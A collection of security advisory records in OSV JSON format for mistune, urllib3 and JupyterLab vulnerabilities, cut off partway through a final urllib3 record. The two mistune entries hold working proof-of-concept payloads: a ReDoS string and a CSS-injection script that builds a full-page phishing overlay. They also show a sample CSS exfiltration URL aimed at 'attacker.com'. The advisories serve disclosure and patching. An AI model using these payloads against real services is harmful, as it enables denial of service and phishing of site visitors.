{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.2.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "mistune"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0a1"
            },
            {
              "fixed": "3.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33079"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T16:52:43Z",
    "nvd_published_at": "2026-05-06T18:16:03Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA ReDoS (Regular Expression Denial of Service) vulnerability in `LINK_TITLE_RE` allows an attacker who can supply Markdown for parsing to cause denial of service. A crafted 58-byte Markdown document blocks the parser for approximately 6 seconds (measured on Apple M2, Python 3.14.3), with exponential growth per additional byte pair.\n\n### Details\n\nThe vulnerable regex is defined in [`src/mistune/helpers.py#L20-L25`](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/helpers.py#L20-L25):\n\n```python\nLINK_TITLE_RE = re.compile(\n    r\"[ \\t\\n]+(\"\n    r\u0027\"(?:\\\\\u0027 + PUNCTUATION + r\u0027|[^\"\\x00])*\"|\u0027  # \"title\"\n    r\"\u0027(?:\\\\\" + PUNCTUATION + r\"|[^\u0027\\x00])*\u0027\"   # \u0027title\u0027\n    r\")\"\n)\n```\n\nThe double-quote branch compiles to `\"(?:\\\\[PUNCTUATION]|[^\"\\x00])*\"`. The two alternatives inside `(A|B)*` overlap: a backslash followed by a punctuation character (e.g. `\\!`) can be matched by **either** branch \u2014 as a 2-character escaped-punctuation sequence `\\\\!`, or as two individual `[^\"\\x00]` characters (`\\` then `!`). The same ambiguity exists in the single-quoted title branch.\n\nWhen the input contains repeated `\\!` pairs with no closing `\"`, the regex engine exhaustively backtracks through all 2^N combinations, resulting in **exponential O(2^N) time complexity**.\n\nThis is reachable through normal Markdown parsing via two code paths:\n1. **Inline links**: `[text](url \"PAYLOAD)` \u2192 [`parse_link()`](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/helpers.py#L178) \u2192 [`parse_link_title()`](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/helpers.py#L169)\n2. **Block link reference definitions**: `[label]: url \"PAYLOAD` \u2192 [`BlockParser.parse_ref_link()`](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/block_parser.py#L220) \u2192 [`parse_link_title()`](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/helpers.py#L169) at [block_parser.py#L259](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/block_parser.py#L259)\n\n### PoC\n\n```python\nimport mistune\nimport time\n\nmd = mistune.create_markdown()\n\n# Test with increasing N (number of \\! pairs)\nfor n in [15, 18, 20, 22, 25]:\n    payload = \u0027[x](y \"\u0027 + \u0027\\\\!\u0027 * n + \u0027)\u0027\n    start = time.time()\n    md(payload)\n    elapsed = time.time() - start\n    print(f\"N={n:2d}  len={len(payload):3d} bytes  time={elapsed:.3f}s\")\n```\n\nOutput (Apple M2, Python 3.14.3, mistune 3.2.0):\n\n```\nN=15  len= 38 bytes  time=0.007s\nN=18  len= 44 bytes  time=0.044s\nN=20  len= 48 bytes  time=0.178s\nN=22  len= 52 bytes  time=0.740s\nN=25  len= 58 bytes  time=5.922s\n```\n\nEach increment of N roughly doubles the execution time (consistent with O(2^N)).\n\nThe same attack works via block link reference definitions:\n\n```python\npayload = \u0027[l]: u \"\u0027 + \u0027\\\\!\u0027 * 25  # 58 bytes, ~6 seconds\nmd(payload)\n```\n\n### Impact\n\nThis is a denial of service vulnerability. Any application or service that parses user-supplied Markdown using mistune can be made unresponsive by an attacker submitting a small crafted input (under 100 bytes).\n\nAffected use cases include:\n- Web applications with Markdown-enabled input fields (comments, posts, descriptions)\n- Documentation systems that accept user contributions\n- API endpoints that process Markdown\n- Jupyter tooling such as nbconvert that relies on mistune for rendering\n\n### Suggested Fix\n\nExclude the backslash character from the catch-all character class to eliminate the alternation overlap:\n\n```python\n# Before (vulnerable):\nr\u0027\"(?:\\\\\u0027 + PUNCTUATION + r\u0027|[^\"\\x00])*\"\u0027\nr\"\u0027(?:\\\\\" + PUNCTUATION + r\"|[^\u0027\\x00])*\u0027\"\n\n# After (fixed):\nr\u0027\"(?:\\\\\u0027 + PUNCTUATION + r\u0027|[^\"\\\\\\x00])*\"\u0027\nr\"\u0027(?:\\\\\" + PUNCTUATION + r\"|[^\u0027\\\\\\x00])*\u0027\"\n```\n\nThis ensures a backslash can only be consumed by the escaped-punctuation branch, eliminating the ambiguity in both the double-quote and single-quote branches. Verified on mistune 3.2.0 (Apple M2, Python 3.14.3):\n- Reduces N=25 from 4.2 seconds to 0.000006 seconds (700,000x improvement)\n- Handles N=50 in 0.000008 seconds\n- Passes all existing functional tests (quoted titles, escaped quotes, escaped punctuation)",
  "id": "GHSA-8mp2-v27r-99xp",
  "modified": "2026-05-06T19:35:51Z",
  "published": "2026-05-06T16:52:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/security/advisories/GHSA-8mp2-v27r-99xp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33079"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lepture/mistune"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/helpers.py#L20-L25"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Mistune has a ReDoS in LINK_TITLE_RE that allows denial of service via crafted Markdown input"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mistune"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.2.0"
            },
            {
              "fixed": "3.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "3.2.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44899"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-14T16:36:18Z",
    "nvd_published_at": "2026-05-26T21:16:39Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\nThe Image directive plugin validates the `:width:` and `:height:` options with a regex compiled as `_num_re = re.compile(r\"^\\d+(?:\\.\\d*)?\")`. This pattern is applied via `re.match()` (which anchors only at the **start** of the string, not the end). Any value that begins with one or more digits passes validation, regardless of what follows.\n\nWhen the validated value is not a plain integer, `render_block_image()` inserts it directly into a `style=\"width:...;\"` or `style=\"height:...;\"` attribute. Because the value was accepted by the prefix-only regex, any CSS after the leading digits reaches the `style=` attribute verbatim and without escaping.\n\nAn attacker can therefore inject an arbitrary chain of CSS properties \u2014 including `position:fixed`, `background-color`, `z-index`, `outline`, and `opacity` \u2014 using nothing more than a single `:width:` option in a fenced image directive. The resulting element can visually cover the entire browser viewport, enabling full-page phishing overlays and UI redressing attacks.\n\n## Details\n**File:** `src/mistune/directives/image.py`\n\n```python\n_num_re = re.compile(r\"^\\d+(?:\\.\\d*)?\")   # no $ anchor \u2014 prefix match only\n\ndef _parse_attrs(options):\n    height = options.get(\"height\")\n    width  = options.get(\"width\")\n    if height and _num_re.match(height):   # passes if value STARTS with a digit\n        attrs[\"height\"] = height           # full value stored, not just digits\n    if width and _num_re.match(width):     # same \u2014 prefix-only check\n        attrs[\"width\"] = width\n```\n\nAnd in `render_block_image()`:\n\n```python\nif width:\n    if width.isdigit():\n        img += \u0027 width=\"\u0027 + width + \u0027\"\u0027   # safe: integer \u2192 HTML attribute\n    else:\n        style += \"width:\" + width + \";\"   # UNSAFE: non-integer \u2192 raw style value\n```\n\nThe `isdigit()` branch correctly uses an HTML attribute for plain integers. The `else` branch assumes that anything that passed `_num_re.match()` is a safe CSS length like `100px` or `50%`. However, because the regex is prefix-only, `100vw;height:100vh;position:fixed;...` also passes, and the entire string lands in `style=` unmodified.\n\n\n## PoC\n**Step 1 \u2014 Establish the baseline (safe plain-integer dimensions)**\n\nThe script creates a parser with `escape=True`, `FencedDirective`, and the `Image` plugin. A safe image directive is rendered with integer `width` and `height`:\n\n```python\nmd = create_markdown(escape=True, plugins=[FencedDirective([Image()])])\n\nbl_src = (\n    \"```{image} photo.jpg\\n\"\n    \":width: 400\\n\"\n    \":height: 300\\n\"\n    \":alt: safe image\\n\"\n    \"```\\n\"\n)\nbl_out = str(md(bl_src))\n```\n\nExpected and actual output \u2014 clean `width=` and `height=` HTML attributes, no `style=`:\n```html\n\u003cdiv class=\"block-image\"\u003e\u003cimg src=\"photo.jpg\" alt=\"safe image\" width=\"400\" height=\"300\" /\u003e\u003c/div\u003e\n```\n\n**Step 2 \u2014 Understand why non-integer widths go into `style=`**\n\nWhen `width` is not a plain integer (e.g., `100px`), `width.isdigit()` returns `False`, so the render path falls through to `style += \"width:\" + width + \";\"`. This is the intended mechanism for CSS-unit dimensions. The flaw is that `_num_re.match()` lets far more than CSS units through.\n\n**Step 3 \u2014 Craft the exploit payload**\n\nProvide a `:width:` value that begins with a valid number (satisfying `_num_re.match()`) but appends an entire CSS attack chain after it:\n\n```\n:width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\n```\n\n- `100vw` \u2014 starts with `1`, passes `_num_re.match()`; also sets the width to full viewport width\n- `;height:100vh` \u2014 overrides height to full viewport height\n- `;position:fixed` \u2014 lifts element out of document flow, fixed to the browser viewport\n- `;top:0;left:0` \u2014 anchors overlay to the top-left corner\n- `;z-index:9999` \u2014 places it above all other page content\n- `;background-color:#e11d48` \u2014 fills the overlay with vivid crimson\n- `;outline:8px solid #facc15` \u2014 adds a bright yellow border\n- `;color:#fff;opacity:.93` \u2014 styles the alt-text label in white with near-full opacity\n\nFull exploit markdown:\n```\n```{image} x.jpg\n:width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\n:alt: \u26a0 CSS INJECTED \u2014 click to dismiss \u26a0\n```\n```\n\n**Step 4 \u2014 Observe the injected `style=` in the output**\n\n```python\nex_src = (\n    \"```{image} x.jpg\\n\"\n    \":width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;\"\n    \"background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\\n\"\n    \":alt: \u26a0 CSS INJECTED \u2014 click to dismiss \u26a0\\n\"\n    \"```\\n\"\n)\nex_out = str(md(ex_src))\n```\n\nActual output:\n```html\n\u003cdiv class=\"block-image\"\u003e\u003cimg src=\"x.jpg\" alt=\"\u26a0 CSS INJECTED \u2014 click to dismiss \u26a0\" style=\"width:100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93;\" /\u003e\u003c/div\u003e\n```\n\nEvery injected CSS property is present in the `style=` attribute. When a browser renders this HTML, the `\u003cimg\u003e` element:\n- expands to fill 100% of the viewport width and height\n- sits fixed at the top-left corner, scrolling with the viewport\n- is coloured crimson with a yellow outline\n- appears above all other page content\n\nThe result is a complete full-page phishing overlay generated from a single Markdown image directive.\n\n### Script \n\nI have built a script that you can use to verify this. It creates a HTML page showing the bypass so that you can see it render in the browser.\n\n```python\n#!/usr/bin/env python3\n\"\"\"H6: Image directive CSS injection \u2014 width/height use prefix-only re.match().\n\nExploit combines: position:fixed  +  background-color  +  outline colour\n\u2192 a full-viewport coloured overlay injected via a single :width: option.\n\"\"\"\nimport os, html as h\nfrom mistune import create_markdown\nfrom mistune.directives import FencedDirective\nfrom mistune.directives.image import Image\n\nmd = create_markdown(escape=True, plugins=[FencedDirective([Image()])])\n\n# --- baseline ---\nbl_file = \"baseline_h6.md\"\nbl_src  = (\n    \"```{image} photo.jpg\\n\"\n    \":width: 400\\n\"\n    \":height: 300\\n\"\n    \":alt: safe image\\n\"\n    \"```\\n\"\n)\nwith open(os.path.join(os.getcwd(), bl_file), \"w\") as f:\n    f.write(bl_src)\nbl_out = str(md(bl_src))\n\nprint(f\"[{bl_file}]\\n{bl_src}\")\nprint(\"[output \u2014 clean width/height attributes, no style injection]\")\nprint(bl_out)\n\n# --- exploit ---\n# _num_re.match() is prefix-only (no $ anchor), so anything after the leading\n# digits is accepted and written verbatim into style=\"width:\u003cvalue\u003e;\".\n# This single :width: value smuggles a full CSS attack chain:\n#   position:fixed  \u2192 overlay sits above the entire page\n#   top/left/width/height \u2192 covers 100 % of the viewport\n#   background-color:#e11d48 \u2192 vivid crimson fill\n#   outline:8px solid #facc15 \u2192 bright yellow border\n#   color:#fff \u2192 white alt-text label\n#   z-index:9999 \u2192 on top of everything\nex_file = \"exploit_h6.md\"\nex_src  = (\n    \"```{image} x.jpg\\n\"\n    \":width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;\"\n    \"background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\\n\"\n    \":alt: \u26a0 CSS INJECTED \u2014 click to dismiss \u26a0\\n\"\n    \"```\\n\"\n)\nwith open(os.path.join(os.getcwd(), ex_file), \"w\") as f:\n    f.write(ex_src)\nex_out = str(md(ex_src))\n\nprint(f\"[{ex_file}]\\n{ex_src}\")\nprint(\"[output \u2014 colour + background-colour + fixed overlay injected into style=]\")\nprint(ex_out)\n\n# --- HTML report ---\nCSS = \"\"\"\nbody{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}\nh1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}\np.desc{color:#555;font-size:.9em;margin-top:6px}\n.warn{background:#fffbeb;border:1px solid #fbbf24;border-radius:6px;padding:10px 16px;\n      font-size:.85em;color:#92400e;margin:12px 0}\n.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;\n      box-shadow:0 1px 4px rgba(0,0,0,.1)}\n.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}\n.baseline .case-header{background:#d1fae5;color:#065f46}\n.exploit  .case-header{background:#fee2e2;color:#7f1d1d}\n.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}\n.panel{padding:16px}\n.panel+.panel{border-left:1px solid #eee}\n.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}\npre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;\n    font-size:.78em;white-space:pre-wrap;word-break:break-all}\n.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}\n.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;\n          background:#fff;font-size:.9em;position:relative;overflow:hidden;height:180px}\n/* scope the live-render sandbox so position:fixed stays inside the box */\n.sandbox{position:relative;width:100%;height:100%}\n.sandbox img{max-width:100%;max-height:100%;object-fit:contain}\n/* override position:fixed on exploit img to keep it inside the preview box */\n.sandbox img[style*=\"position:fixed\"]{position:absolute!important;width:100%!important;\n  height:100%!important;top:0!important;left:0!important}\n\"\"\"\n\ndef case(kind, label, filename, src, out):\n    header = \"BASELINE\" if kind == \"baseline\" else \"EXPLOIT\"\n    sandbox = f\u0027\u003cdiv class=\"sandbox\"\u003e{out}\u003c/div\u003e\u0027\n    return f\"\"\"\n\u003cdiv class=\"case {kind}\"\u003e\n  \u003cdiv class=\"case-header\"\u003e{header} \u2014 {h.escape(label)}\u003c/div\u003e\n  \u003cdiv class=\"panels\"\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eInput \u2014 {h.escape(filename)}\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(src)}\u003c/pre\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eOutput \u2014 HTML source\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(out)}\u003c/pre\u003e\n      \u003cdiv class=\"rlabel\"\u003e\u2193 live render (sandboxed to preview box)\u003c/div\u003e\n      \u003cdiv class=\"rendered\"\u003e{sandbox}\u003c/div\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\u003c/div\u003e\"\"\"\n\npage = f\"\"\"\u003c!DOCTYPE html\u003e\u003chtml lang=\"en\"\u003e\u003chead\u003e\u003cmeta charset=\"UTF-8\"\u003e\n\u003ctitle\u003eH6 \u2014 Image CSS Injection\u003c/title\u003e\u003cstyle\u003e{CSS}\u003c/style\u003e\u003c/head\u003e\u003cbody\u003e\n\u003ch1\u003eH6 \u2014 Image Directive CSS Injection\u003c/h1\u003e\n\u003cp class=\"desc\"\u003e\n  \u003ccode\u003e_parse_attrs()\u003c/code\u003e in \u003ccode\u003edirectives/image.py\u003c/code\u003e validates\n  \u003ccode\u003e:width:\u003c/code\u003e / \u003ccode\u003e:height:\u003c/code\u003e with \u003ccode\u003e_num_re.match()\u003c/code\u003e\n  (prefix-only \u2014 no \u003ccode\u003e$\u003c/code\u003e anchor). Anything after the leading digits\n  is accepted verbatim and written straight into a \u003ccode\u003estyle=\u003c/code\u003e attribute.\n  A single \u003ccode\u003e:width:\u003c/code\u003e option is sufficient to smuggle an arbitrary\n  CSS chain: \u003cstrong\u003eposition:fixed \u00b7 background-color \u00b7 outline colour \u00b7 full-viewport overlay\u003c/strong\u003e.\n\u003c/p\u003e\n\u003cdiv class=\"warn\"\u003e\n  \u26a0 The EXPLOIT preview below is sandboxed inside its box.\n  In a real document the crimson overlay would cover the \u003cem\u003eentire browser window\u003c/em\u003e.\n\u003c/div\u003e\n{case(\"baseline\",\n      \"Integer dims \u2192 clean width/height= attributes, no style=\",\n      bl_file, bl_src, bl_out)}\n{case(\"exploit\",\n      \":width: carries position:fixed + background-color + outline \u2192 full-viewport coloured overlay\",\n      ex_file, ex_src, ex_out)}\n\u003c/body\u003e\u003c/html\u003e\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h6.html\")\nwith open(out_path, \"w\") as f:\n    f.write(page)\nprint(f\"\\n[report] {out_path}\")\n```\n\nExample usage:\n```bash\npython poc.py\n```\n\nOnce you run the script, open `report_h6.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension        | Assessment |\n|------------------|-----------|\n| **Confidentiality** | CSS-based data exfiltration via `background-image: url(https://attacker.com/?leak=...)` is possible in some browser/CSP configurations |\n| **Integrity**    | Full-viewport overlay enables complete UI replacement: phishing login forms, fake alerts, click-jacking, brand impersonation |\n| **Availability** | The overlay obscures all page content from the user until dismissed or navigated away |\n\n**Real-world impact scenario:** An attacker posts a Markdown document to a platform (wiki, issue tracker, documentation site) that renders mistune with the Image directive. Any user who views the page sees a full-screen crimson overlay matching the attacker\u0027s design, replacing or concealing the legitimate page content. The overlay can contain a convincing login prompt, survey form, or urgent warning designed to capture credentials.",
  "id": "GHSA-ccfx-mfmx-2fx9",
  "modified": "2026-06-08T23:30:31Z",
  "published": "2026-05-14T16:36:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/security/advisories/GHSA-ccfx-mfmx-2fx9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44899"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lepture/mistune"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/releases/tag/v3.2.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mistune Image Directive CSS Injection Vulnerability"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "urllib3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.6.0"
            },
            {
              "fixed": "2.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44432"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-11T14:51:45Z",
    "nvd_published_at": "2026-05-13T16:16:57Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nurllib3\u0027s [streaming API](https://urllib3.readthedocs.io/en/2.7.0/advanced-usage.html#streaming-and-i-o) is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.\n\nurllib3 can perform decompression based on the HTTP `Content-Encoding` header (e.g., `gzip`, `deflate`, `br`, or `zstd`). When using the streaming API since version 2.6.0, the library decompresses only the necessary bytes, enabling partial content consumption.\n\nHowever, urllib3 before version 2.7.0 could still decompress the whole response instead of the requested portion in two cases:\n1. During the second `HTTPResponse.read(amt=N)` call when the response was decompressed using the official [Brotli](https://pypi.org/project/brotli/) library.\n2. When `HTTPResponse.drain_conn()` was called after the response had been read and decompressed partially (compression algorithm did not matter here).\n\nThese issues could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This could result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side.\n\n\n### Affected usages\n\nApplications and libraries using urllib3 versions earlier than 2.7.0 may be affected when streaming compressed responses from untrusted sources in either of these cases, unless decompression is explicitly disabled:\n\n1. A response encoded with `br` is read incrementally with at least two `HTTPResponse.read(amt=N)` or `HTTPResponse.stream(amt=N)` calls while using the official [Brotli](https://pypi.org/project/brotli/) library.\n2. `HTTPResponse.drain_conn()` is called after response decompression has already started.\n\n\n### Remediation\n\nUpgrade to at least urllib3 version 2.7.0 in which the library:\n1. Is more efficient for reads with Brotli.\n2. Always skips decompression for `HTTPResponse.drain_conn()`.\n\nIf upgrading is not immediately possible, the following workarounds may reduce exposure in specific cases:\n1. For the Brotli-specific issue only, switch from [brotli](https://pypi.org/project/brotli/) to [brotlicffi](https://pypi.org/project/brotlicffi/) until you can upgrade urllib3; the official Brotli package is affected because of https://github.com/google/brotli/issues/1396.\n2. If your code explicitly calls `HTTPResponse.drain_conn()`, call `HTTPResponse.close()` instead when connection reuse is not important.\n\n\n### Credits\n\nThe Brotli-specific issue was reported by @kimkou2024.\n`HTTPResponse.drain_conn()` inefficiency was reported by @Cycloctane.",
  "id": "GHSA-mf9v-mfxr-j63j",
  "modified": "2026-06-08T19:52:23Z",
  "published": "2026-05-11T14:51:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/urllib3/urllib3/security/advisories/GHSA-mf9v-mfxr-j63j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44432"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2026-142.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/urllib3/urllib3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "urllib3: Decompression-bomb safeguards bypassed in parts of the streaming API"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.5.6"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "jupyterlab"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.5.5"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "notebook"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.5.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42557"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T21:43:44Z",
    "nvd_published_at": "2026-05-13T16:16:48Z",
    "severity": "HIGH"
  },
  "details": "JupyterLab\u0027s HTML sanitizer allowlists `data-commandlinker-command` and `data-commandlinker-args` on `button` elements, while `CommandLinker` listens for all click events on `document.body` and executes the named command without checking whether the element came from trusted JupyterLab UI. A notebook with a pre-saved HTML cell output containing a deceptive button can trigger arbitrary JupyterLab commands - including arbitrary code execution - on a single user click, without any code being submitted for execution by the user.\n\n### Impact\n\nAn attacker who shares a notebook or a Markdown file - via email, GitHub, or a Binder link - can invoke an arbitrary command upon a single click by the victim. The button can be rendered inside the output area and be visually indistinguishable from a legitimate widget. No kernel needs to start; the HTML output is stored in the notebook file and displayed immediately on open.\n\n#### Single-click impact\n\nAn attacker convincing the victim to click on a single button or link can:\n- execute arbitrary code in the available kernels,\n- delete files leading to information loss; in principle the loss could be unrecoverable, depending on server configuration and attack complexity,\n- open multiple kernels/terminals at once, or create multiple files at once, putting significant stress on the server and thus deny availability for other users when using standalone multi-tenant jupyter-server deployment, and to a lesser degree impact availability on JupyterHub deployments.\n\nThe arbitrary code execution will be immediately visible to the user; and can be halted by the timely user intervention. The deletion of files can be silent and go unnoticed for some time.\n\n#### Multi-click attacks\n\nAn attacker who convinces the victim to click on multiple buttons in specific order and to grant access to clipboard (or in scenarios where the user already granted keyboard access) can obtain full access to the terminal and execute arbitrary commands in the environment with access scope that might exceed that of available kernels. Only users of Chromium-based browsers are susceptible to this expanded variant of the attack.\n\nThe execution of commands in the terminal would be immediately visible to the user.\n\n#### Impact of third-party extensions\n\nThe impact described above assumes a plain JupyterLab/Notebook installation. In environments with frontend extensions that contribute additional commands the attack surface is increased by the functionality covered by these commands.\n\n### Patches\n\nJupyterLab 4.5.7\n\n### Workarounds\n\nNo workarounds are available for end-users.\n\nDownstream applications inheriting from `JupyterFrontEnd` or `JupyterLab` can effectively disable the `CommandLinker` by passing `commandLinker: new CommandLinker({ commands: new CommandRegistry() })` option in the initialization options.\n\n### Hardening\n\nThe patched versions include a toggle to disable the command linker functionality altogether, for example via `overrides.json`:\n\n```json\n{\n  \"@jupyterlab/apputils-extension:sanitizer\": {\n    \"allowCommandLinker\": false\n  }\n}\n```\n\n### Resources\n\n- https://jupyterlab.readthedocs.io/en/latest/user/commands.html#commands-in-markdown-files",
  "id": "GHSA-mqcg-5x36-vfcg",
  "modified": "2026-06-09T10:59:57Z",
  "published": "2026-05-06T21:43:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jupyterlab/jupyterlab/security/advisories/GHSA-mqcg-5x36-vfcg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42557"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jupyterlab/jupyterlab"
    },
    {
      "type": "WEB",
      "url": "https://jupyterlab.readthedocs.io/en/latest/user/commands.html#commands-in-markdown-files"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "JupyterLab\u0027s command linker attributes in HTML enable one-click command execution from untrusted content"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "urllib3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.23"
            },
            {
              "fixed": "2.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44431"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-11T14:51:20Z",
    "nvd_published_at": "2026-05-13T16:16:57Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nWhen following cross-origin redirects for requests made using urllib3\u2019s high-level APIs, such as `urllib3.request()`, `PoolManager.request()`, and `ProxyManager.request()`, sensitive headers \u2014 `Authorization`, `Cookie`, and `Proxy-Authorization` (defined in `Retry.DEFAULT_REMOVE_HEADERS_ON_REDIRECT`) \u2014 are stripped by default, as expected.\n\nHowever, cross-origin redirects followed from the low-level API via `ProxyManager.connection_from_url().urlopen(..., assert_same_host=False)` still forward these sensitive headers.\n\n### Affected usage\n\nApplications and libraries using urllib3 versions earlier than 2.7.0 may be affected if they allow cross-origin redirects while making requests through `HTTPConnection.urlopen()` instances created via `ProxyManager.connection_from_url()`.\n\n### Remediation\n\nUpgrade to urllib3 version 2.7.0 or later, in which sensitive headers are stripped from redirects followed by `HTTPConnection`.\n\nIf upgrading is not immediately possible, avoid using this low-level redirect flow for cross-origin redirects. If appropriate for your use case, switch to `ProxyManager.request()`.",
  "id": "GHSA-qccp-gfcp-xxvc",
  "modified": "2026-05-14T20:35:49Z",
  "published": "2026-05-11T14:51:20Z",
  "references": [
    {
      "type": "WEB",
